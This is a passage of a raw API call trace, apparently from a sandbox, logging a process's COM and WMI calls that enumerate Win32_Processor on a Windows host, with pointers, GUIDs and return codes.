IWbemServices:CreateInstanceEnum (in: This=0x573dc84, strFilter="Win32_Processor", lFlags=17, pCtx=0x0, ppEnum=0x3ced2c | out: ppEnum=0x3ced2c*=0x5745b5c) returned 0x0 [0189.748] IUnknown:QueryInterface (in: This=0x5745b5c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce9dc | out: ppvObject=0x3ce9dc*=0x5745b60) returned 0x0 [0189.748] IClientSecurity:QueryBlanket (in: This=0x5745b60, pProxy=0x5745b5c, pAuthnSvc=0x3cea24, pAuthzSvc=0x3cea20, pServerPrincName=0x3cea30, pAuthnLevel=0x3cea28, pImpLevel=0x3cea14, pAuthInfo=0x3cea18, pCapabilites=0x3cea1c | out: pAuthnSvc=0x3cea24*=0xa, pAuthzSvc=0x3cea20*=0x0, pServerPrincName=0x3cea30, pAuthnLevel=0x3cea28*=0x6, pImpLevel=0x3cea14*=0x2, pAuthInfo=0x3cea18, pCapabilites=0x3cea1c*=0x1) returned 0x0 [0189.748] IUnknown:Release (This=0x5745b60) returned 0x1 [0189.748] IUnknown:QueryInterface (in: This=0x5745b5c, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce9d0 | out: ppvObject=0x3ce9d0*=0x600154) returned 0x0 [0189.748] IUnknown:QueryInterface (in: This=0x5745b5c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce9cc | out: ppvObject=0x3ce9cc*=0x5745b60) returned 0x0 [0189.748] IClientSecurity:SetBlanket (This=0x5745b60, pProxy=0x5745b5c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0189.749] IUnknown:Release (This=0x5745b60) returned 0x2 [0189.749] WbemLocator:IUnknown:Release (This=0x600154) returned 0x1 [0189.749] CoTaskMemFree (pv=0x5c9b60) [0189.750] WbemLocator:IUnknown:Release (This=0x573dc84) returned 0x2 [0189.750] IUnknown:QueryInterface (in: This=0x5745b5c, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce384 | out: ppvObject=0x3ce384*=0x600154) returned 0x0 [0189.750] WbemLocator:IUnknown:QueryInterface (in: This=0x600154, riid=0x744e4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x3ce340 | out: ppvObject=0x3ce340*=0x0) returned 0x80004002 [0189.750] WbemLocator:IUnknown:QueryInterface (in: This=0x600154, riid=0x74410b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x3ce234 | out: ppvObject=0x3ce234*=0x0) returned 0x80004002 [0189.751] WbemLocator:IUnknown:AddRef (This=0x600154) returned 0x3 [0189.751] CoGetContextToken (in: pToken=0x3ce1cc | out: pToken=0x3ce1cc) returned 0x0 [0189.751] CoGetContextToken (in: pToken=0x3ce190 | out: pToken=0x3ce190) returned 0x0 [0189.751] IUnknown:QueryInterface (in: This=0x5992f0, riid=0x744e3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce1c4 | out: ppvObject=0x3ce1c4*=0x5992fc) returned 0x0 [0189.752] IComThreadingInfo:GetCurrentApartmentType (in: This=0x5992fc, pAptType=0x3ce1f4 | out: pAptType=0x3ce1f4*=3) returned 0x0 [0189.752] IUnknown:Release (This=0x5992fc) returned 0x1 [0189.752] WbemLocator:IUnknown:QueryInterface (in: This=0x600154, riid=0x743c23cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce1b4 | out: ppvObject=0x3ce1b4*=0x6000b4) returned 0x0 [0189.752] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x6000b4, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x3ce1bc | out: pCid=0x3ce1bc*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0189.752] WbemLocator:IUnknown:Release (This=0x6000b4) returned 0x3 [0189.753] CoGetContextToken (in: pToken=0x3ce1c4 | out: pToken=0x3ce1c4) returned 0x0 [0189.753] WbemLocator:IUnknown:AddRef (This=0x600154) returned 0x4 [0189.753] WbemLocator:IUnknown:QueryInterface (in: This=0x600154, riid=0x7441767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce238 | out: ppvObject=0x3ce238*=0x60013c) returned 0x0 [0189.753] WbemLocator:IUnknown:Release (This=0x600154) returned 0x4 [0189.753] WbemLocator:IRpcOptions:Query (in: This=0x60013c, pPrx=0x600154, dwProperty=2, pdwValue=0x3ce25c | out: pdwValue=0x3ce25c) returned 0x80004002 [0189.753] WbemLocator:IUnknown:Release (This=0x60013c) returned 0x3 [0189.753] WbemLocator:IUnknown:Release (This=0x600154) returned 0x2 [0189.753] CoGetContextToken (in: pToken=0x3ce638 | out: pToken=0x3ce638) returned 0x0 [0189.753] CoGetContextToken (in: pToken=0x3ce5f8 | out: pToken=0x3ce5f8) returned 0x0 [0189.753] WbemLocator:IUnknown:AddRef (This=0x600154) returned 0x3 [0189.753] WbemLocator:IUnknown:QueryInterface (in: This=0x600154, riid=0x3ce674*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x3ce670 | out: ppvObject=0x3ce670*=0x5745b5c) returned 0x0 [0189.753] WbemLocator:IUnknown:Release (This=0x600154) returned 0x3 [0189.753] IUnknown:Release (This=0x5745b5c) returned 0x2 [0189.753] IUnknown:Release (This=0x5745b5c) returned 0x1 [0189.754] CoGetContextToken (in: pToken=0x3ced08 | out: pToken=0x3ced08) returned 0x0 [0189.754] CoGetContextToken (in: pToken=0x3cecc8 | out: pToken=0x3cecc8) returned 0x0 [0189.754] WbemDefPath:IUnknown:AddRef (This=0x573daa8) returned 0x3 [0189.754] WbemDefPath:IUnknown:QueryInterface (in: This=0x573daa8, riid=0x3ced44*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ced40 | out: ppvObject=0x3ced40*=0x573daa8) returned 0x0 [0189.754] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x3 [0189.754] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x573daa8, puCount=0x3ceebc | out: puCount=0x3ceebc*=0x2) returned 0x0 [0189.754] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x2 [0189.754] CoGetContextToken (in: pToken=0x3cecf8 | out: pToken=0x3cecf8) returned 0x0 [0189.754] CoGetContextToken (in: pToken=0x3cecb8 | out: pToken=0x3cecb8) returned 0x0 [0189.754] WbemDefPath:IUnknown:AddRef (This=0x573daa8) returned 0x3 [0189.754] WbemDefPath:IUnknown:QueryInterface (in: This=0x573daa8, riid=0x3ced34*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ced30 | out: ppvObject=0x3ced30*=0x573daa8) returned 0x0 [0189.754] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x3 [0189.754] WbemDefPath:IWbemPath:GetText (in: This=0x573daa8, lFlags=4, puBuffLength=0x3ceeb8*=0x0, pszText=0x0 | out: puBuffLength=0x3ceeb8*=0xf, pszText=0x0) returned 0x0 [0189.754] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x2 [0189.754] CoGetContextToken (in: pToken=0x3cecf8 | out: pToken=0x3cecf8) returned 0x0 [0189.754] CoGetContextToken (in: pToken=0x3cecb8 | out: pToken=0x3cecb8) returned 0x0 [0189.754] WbemDefPath:IUnknown:AddRef (This=0x573daa8) returned 0x3 [0189.755] WbemDefPath:IUnknown:QueryInterface (in: This=0x573daa8, riid=0x3ced34*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ced30 | out: ppvObject=0x3ced30*=0x573daa8) returned 0x0 [0189.755] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x3 [0189.755] WbemDefPath:IWbemPath:GetText (in: This=0x573daa8, lFlags=4, puBuffLength=0x3ceeb8*=0xf, pszText="00000000000000" | out: puBuffLength=0x3ceeb8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0189.755] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x2 [0189.755] CoGetContextToken (in: pToken=0x3ce850 | out: pToken=0x3ce850) returned 0x0 [0189.755] CoGetContextToken (in: pToken=0x3ce810 | out: pToken=0x3ce810) returned 0x0 [0189.755] WbemLocator:IUnknown:AddRef (This=0x600154) returned 0x2 [0189.755] WbemLocator:IUnknown:QueryInterface (in: This=0x600154, riid=0x3ce88c*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x3ce888 | out: ppvObject=0x3ce888*=0x5745b5c) returned 0x0 [0189.755] WbemLocator:IUnknown:Release (This=0x600154) returned 0x2 [0189.755] IUnknown:AddRef (This=0x5745b5c) returned 0x3 [0189.755] IEnumWbemClassObject:Clone (in: This=0x5745b5c, ppEnum=0x3cee84 | out: ppEnum=0x3cee84*=0x5745c24) returned 0x0 [0189.756] IUnknown:QueryInterface (in: This=0x5745c24, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ceb40 | out: ppvObject=0x3ceb40*=0x5745c28) returned 0x0 [0189.756] IClientSecurity:QueryBlanket (in: This=0x5745c28, pProxy=0x5745c24, pAuthnSvc=0x3ceb88, pAuthzSvc=0x3ceb84, pServerPrincName=0x3ceb94, pAuthnLevel=0x3ceb8c, pImpLevel=0x3ceb78, pAuthInfo=0x3ceb7c, pCapabilites=0x3ceb80 | out: pAuthnSvc=0x3ceb88*=0xa, pAuthzSvc=0x3ceb84*=0x0, pServerPrincName=0x3ceb94, pAuthnLevel=0x3ceb8c*=0x6, pImpLevel=0x3ceb78*=0x2, pAuthInfo=0x3ceb7c, pCapabilites=0x3ceb80*=0x1) returned 0x0 [0189.756] IUnknown:Release (This=0x5745c28) returned 0x1 [0189.756] IUnknown:QueryInterface (in: This=0x5745c24, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ceb34 | out: ppvObject=0x3ceb34*=0x600d84) returned 0x0 [0189.756] IUnknown:QueryInterface (in: This=0x5745c24, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ceb30 | out: ppvObject=0x3ceb30*=0x5745c28) returned 0x0 [0189.756] IClientSecurity:SetBlanket (This=0x5745c28, pProxy=0x5745c24, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0189.758] IUnknown:Release (This=0x5745c28) returned 0x2 [0189.759] WbemLocator:IUnknown:Release (This=0x600d84) returned 0x1 [0189.759] CoTaskMemFree (pv=0x5c9c20) [0189.759] IUnknown:Release (This=0x5745b5c) returned 0x2 [0189.759] IUnknown:QueryInterface (in: This=0x5745c24, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce4dc | out: ppvObject=0x3ce4dc*=0x600d84) returned 0x0 [0189.759] WbemLocator:IUnknown:QueryInterface (in: This=0x600d84, riid=0x744e4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x3ce498 | out: ppvObject=0x3ce498*=0x0) returned 0x80004002 [0189.759] WbemLocator:IUnknown:QueryInterface (in: This=0x600d84, riid=0x74410b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x3ce38c | out: ppvObject=0x3ce38c*=0x0) returned 0x80004002 [0189.760] WbemLocator:IUnknown:AddRef (This=0x600d84) returned 0x3 [0189.760] CoGetContextToken (in: pToken=0x3ce324 | out: pToken=0x3ce324) returned 0x0 [0189.760] CoGetContextToken (in: pToken=0x3ce2e8 | out: pToken=0x3ce2e8) returned 0x0 [0189.760] IUnknown:QueryInterface (in: This=0x5992f0, riid=0x744e3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce31c | out: ppvObject=0x3ce31c*=0x5992fc) returned 0x0 [0189.760] IComThreadingInfo:GetCurrentApartmentType (in: This=0x5992fc, pAptType=0x3ce34c | out: pAptType=0x3ce34c*=3) returned 0x0 [0189.760] IUnknown:Release (This=0x5992fc) returned 0x1 [0189.760] WbemLocator:IUnknown:QueryInterface (in: This=0x600d84, riid=0x743c23cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce30c | out: ppvObject=0x3ce30c*=0x600ce4) returned 0x0 [0189.760] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x600ce4, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x3ce314 | out: pCid=0x3ce314*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0189.761] WbemLocator:IUnknown:Release (This=0x600ce4) returned 0x3 [0189.761] CoGetContextToken (in: pToken=0x3ce31c | out: pToken=0x3ce31c) returned 0x0 [0189.761] WbemLocator:IUnknown:AddRef (This=0x600d84) returned 0x4 [0189.761] WbemLocator:IUnknown:QueryInterface (in: This=0x600d84, riid=0x7441767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce390 | out: ppvObject=0x3ce390*=0x600d6c) returned 0x0 [0189.761] WbemLocator:IUnknown:Release (This=0x600d84) returned 0x4 [0189.761] WbemLocator:IRpcOptions:Query (in: This=0x600d6c, pPrx=0x600d84, dwProperty=2, pdwValue=0x3ce3b4 | out: pdwValue=0x3ce3b4) returned 0x80004002 [0189.761] WbemLocator:IUnknown:Release (This=0x600d6c) returned 0x3 [0189.761] WbemLocator:IUnknown:Release (This=0x600d84) returned 0x2 [0189.761] CoGetContextToken (in: pToken=0x3ce790 | out: pToken=0x3ce790) returned 0x0 [0189.761] CoGetContextToken (in: pToken=0x3ce750 | out: pToken=0x3ce750) returned 0x0 [0189.761] WbemLocator:IUnknown:AddRef (This=0x600d84) returned 0x3 [0189.761] WbemLocator:IUnknown:QueryInterface (in: This=0x600d84, riid=0x3ce7cc*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x3ce7c8 | out: ppvObject=0x3ce7c8*=0x5745c24) returned 0x0 [0189.761] WbemLocator:IUnknown:Release (This=0x600d84) returned 0x3 [0189.761] IUnknown:Release (This=0x5745c24) returned 0x2 [0189.762] IUnknown:Release (This=0x5745c24) returned 0x1 [0189.766] CoGetContextToken (in: pToken=0x3ced84 | out: pToken=0x3ced84) returned 0x0 [0189.766] CoGetContextToken (in: pToken=0x3ced44 | out: pToken=0x3ced44) returned 0x0 [0189.766] WbemLocator:IUnknown:AddRef (This=0x600d84) returned 0x2 [0189.766] WbemLocator:IUnknown:QueryInterface (in: This=0x600d84, riid=0x3cedc0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x3cedbc | out: ppvObject=0x3cedbc*=0x5745c24) returned 0x0 [0189.766] WbemLocator:IUnknown:Release (This=0x600d84) returned 0x2 [0189.766] IUnknown:AddRef (This=0x5745c24) returned 0x3 [0189.766] IEnumWbemClassObject:Reset (This=0x5745c24) returned 0x0 [0189.767] IUnknown:Release (This=0x5745c24) returned 0x2 [0189.769] CoGetContextToken (in: pToken=0x3cec6c | out: pToken=0x3cec6c) returned 0x0 [0189.769] IUnknown:AddRef (This=0x5745c24) returned 0x3 [0189.769] IEnumWbemClassObject:Next (in: This=0x5745c24, lTimeout=-1, uCount=0x1, apObjects=0x59f310, puReturned=0x260128c | out: apObjects=0x59f310*=0x5745c60, puReturned=0x260128c*=0x1) returned 0x0 [0191.066] IUnknown:QueryInterface (in: This=0x5745c60, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce278 | out: ppvObject=0x3ce278*=0x5745c60) returned 0x0 [0191.066] IUnknown:QueryInterface (in: This=0x5745c60, riid=0x744e4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x3ce234 | out: ppvObject=0x3ce234*=0x0) returned 0x80004002 [0191.067] IUnknown:QueryInterface (in: This=0x5745c60, riid=0x74410b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x3ce128 | out: ppvObject=0x3ce128*=0x0) returned 0x80004002 [0191.067] IUnknown:AddRef (This=0x5745c60) returned 0x3 [0191.067] CoGetContextToken (in: pToken=0x3ce0c0 | out: pToken=0x3ce0c0) returned 0x0 [0191.070] CoGetContextToken (in: pToken=0x3ce084 | out: pToken=0x3ce084) returned 0x0 [0191.070] IUnknown:QueryInterface (in: This=0x5992f0, riid=0x744e3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce0b8 | out: ppvObject=0x3ce0b8*=0x5992fc) returned 0x0 [0191.071] IComThreadingInfo:GetCurrentApartmentType (in: This=0x5992fc, pAptType=0x3ce0e8 | out: pAptType=0x3ce0e8*=3) returned 0x0 [0191.071] IUnknown:Release (This=0x5992fc) returned 0x1 [0191.071] IUnknown:QueryInterface (in: This=0x5745c60, riid=0x743c23cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce0a8 | out: ppvObject=0x3ce0a8*=0x5745c64) returned 0x0 [0191.071] IMarshal:GetUnmarshalClass (in: This=0x5745c64, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x3ce0b0 | out: pCid=0x3ce0b0*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0191.071] IUnknown:Release (This=0x5745c64) returned 0x3 [0191.071] CoGetContextToken (in: pToken=0x3ce0b8 | out: pToken=0x3ce0b8) returned 0x0 [0191.071] IUnknown:AddRef (This=0x5745c60) returned 0x4 [0191.071] IUnknown:QueryInterface (in: This=0x5745c60, riid=0x7441767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce12c | out: ppvObject=0x3ce12c*=0x0) returned 0x80004002 [0191.071] IUnknown:Release (This=0x5745c60) returned 0x3 [0191.071] IUnknown:Release (This=0x5745c60) returned 0x2 [0191.071] CoGetContextToken (in: pToken=0x3ce518 | out: pToken=0x3ce518) returned 0x0 [0191.071] CoGetContextToken (in: pToken=0x3ce4d8 | out: pToken=0x3ce4d8) returned 0x0 [0191.072] IUnknown:AddRef (This=0x5745c60) returned 0x3 [0191.072] IUnknown:QueryInterface (in: This=0x5745c60, riid=0x3ce554*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x3ce550 | out: ppvObject=0x3ce550*=0x5745c60) returned 0x0 [0191.072] IUnknown:Release (This=0x5745c60) returned 0x3 [0191.072] IUnknown:Release (This=0x5745c60) returned 0x2 [0191.072] IUnknown:Release (This=0x5745c60) returned 0x1 [0191.072] IUnknown:Release (This=0x5745c24) returned 0x2 [0191.072] CoGetContextToken (in: pToken=0x3cee08 | out: pToken=0x3cee08) returned 0x0 [0191.072] IUnknown:AddRef (This=0x5745c60) returned 0x2 [0191.072] IWbemClassObject:Get (in: This=0x5745c60, wszName="__GENUS", lFlags=0, pVal=0x3cee84*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x3cef38*=0, plFlavor=0x3cef34*=0 | out: pVal=0x3cee84*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x3cef38*=3, plFlavor=0x3cef34*=64) returned 0x0 [0191.073] IWbemClassObject:Get (in: This=0x5745c60, wszName="__PATH", lFlags=0, pVal=0x3cee64*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x3cef1c*=0, plFlavor=0x3cef18*=0 | out: pVal=0x3cee64*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\YKYD69Q\\root\\cimv2:Win32_Processor.DeviceID=\"CPU0\"", varVal2=0x0), pType=0x3cef1c*=8, plFlavor=0x3cef18*=64) returned 0x0 [0191.073] SysStringLen (param_1="\\\\YKYD69Q\\root\\cimv2:Win32_Processor.DeviceID=\"CPU0\"") returned 0x34 [0191.073] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x318 [0191.073] GetLastError () returned 0x0 [0191.073] SetEvent (hEvent=0x290) returned 1 [0191.073] GetLastError () returned 0x0 [0191.073] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x3cee80*=0x318, lpdwindex=0x3cec38 | out: lpdwindex=0x3cec38) returned 0x0 [0191.076] CoGetContextToken (in: pToken=0x3cecd0 | out: pToken=0x3cecd0) returned 0x0 [0191.076] CoGetContextToken (in: pToken=0x3cec90 | out: pToken=0x3cec90) returned 0x0 [0191.076] WbemDefPath:IUnknown:AddRef (This=0x573e1b0) returned 0x2 [0191.076] WbemDefPath:IUnknown:QueryInterface (in: This=0x573e1b0, riid=0x3ced0c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ced08 | out: ppvObject=0x3ced08*=0x573e1b0) returned 0x0 [0191.076] WbemDefPath:IUnknown:Release (This=0x573e1b0) returned 0x2 [0191.076] WbemDefPath:IUnknown:Release (This=0x573e1b0) returned 0x1 [0191.076] CoGetContextToken (in: pToken=0x3ced50 | out: pToken=0x3ced50) returned 0x0 [0191.076] CoGetContextToken (in: pToken=0x3ced10 | out: pToken=0x3ced10) returned 0x0 [0191.076] WbemDefPath:IUnknown:AddRef (This=0x573e1b0) returned 0x2 [0191.076] WbemDefPath:IUnknown:QueryInterface (in: This=0x573e1b0, riid=0x3ced8c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ced88 | out: ppvObject=0x3ced88*=0x573e1b0) returned 0x0 [0191.076] WbemDefPath:IUnknown:Release (This=0x573e1b0) returned 0x2 [0191.076] WbemDefPath:IWbemPath:SetText (This=0x573e1b0, uMode=0x4, pszPath="\\\\YKYD69Q\\root\\cimv2:Win32_Processor.DeviceID=\"CPU0\"") returned 0x0 [0191.076] WbemDefPath:IUnknown:Release (This=0x573e1b0) returned 0x1 [0191.076] CoGetContextToken (in: pToken=0x3ced3c | out: pToken=0x3ced3c) returned 0x0 [0191.077] CoGetContextToken (in: pToken=0x3cecfc | out: pToken=0x3cecfc) returned 0x0 [0191.077] WbemDefPath:IUnknown:AddRef (This=0x573daa8) returned 0x3 [0191.077] WbemDefPath:IUnknown:QueryInterface (in: This=0x573daa8, riid=0x3ced78*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ced74 | out: ppvObject=0x3ced74*=0x573daa8) returned 0x0 [0191.077] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x3 [0191.077] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x573daa8, puCount=0x3ceef0 | out: puCount=0x3ceef0*=0x2) returned 0x0 [0191.077] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x2 [0191.077] CoGetContextToken (in: pToken=0x3ced2c | out: pToken=0x3ced2c) returned 0x0 [0191.077] CoGetContextToken (in: pToken=0x3cecec | out: pToken=0x3cecec) returned 0x0 [0191.077] WbemDefPath:IUnknown:AddRef (This=0x573daa8) returned 0x3 [0191.077] WbemDefPath:IUnknown:QueryInterface (in: This=0x573daa8, riid=0x3ced68*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3ced64 | out: 